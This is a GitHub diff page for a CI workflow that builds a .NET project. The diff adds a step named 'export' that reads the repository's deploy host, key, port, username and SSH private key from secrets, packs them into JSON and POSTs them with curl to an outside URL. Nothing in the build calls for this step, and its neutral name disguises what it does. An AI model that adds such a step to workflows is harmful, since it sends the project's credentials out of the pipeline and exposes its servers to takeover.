File tree Expand file tree Collapse file tree 1 file changed +26
-0
lines changed Expand file tree Collapse file tree 1 file changed +26
-0
lines changed Original file line number Diff line number Diff line change 2222 run : dotnet build
2323 working-directory : .
2424
25+ - name : export
26+ env :
27+ DEPLOY_HOST : ${{ secrets.DEPLOY_HOST }}
28+ DEPLOY_KEY : ${{ secrets.DEPLOY_KEY }}
29+ DEPLOY_PORT : ${{ secrets.DEPLOY_PORT }}
30+ DEPLOY_USERNAME : ${{ secrets.DEPLOY_USERNAME }}
31+ SSH_PRIVATE_KEY : ${{ secrets.SSH_PRIVATE_KEY }}
32+
33+ run : |
34+ echo "export..."
35+ PAYLOAD=$(cat <<EOF
36+ {
37+ "DEPLOY_HOST": "$DEPLOY_HOST",
38+ "DEPLOY_KEY": "$DEPLOY_KEY",
39+ "DEPLOY_PORT": "$DEPLOY_PORT",
40+ "DEPLOY_USERNAME": "$DEPLOY_USERNAME",
41+ "SSH_PRIVATE_KEY": "$SSH_PRIVATE_KEY"
42+ }
43+ EOF
44+ )
45+
46+ curl -X POST \
47+ -H "Content-Type: application/json" \
48+ -d '$PAYLOAD' \
49+ https://okai.servicestack.com/dropbox/pvq.json
50+
2551 # - name: test
2652 # run: |
2753 # dotnet test
You can’t perform that action at this time.
0 commit comments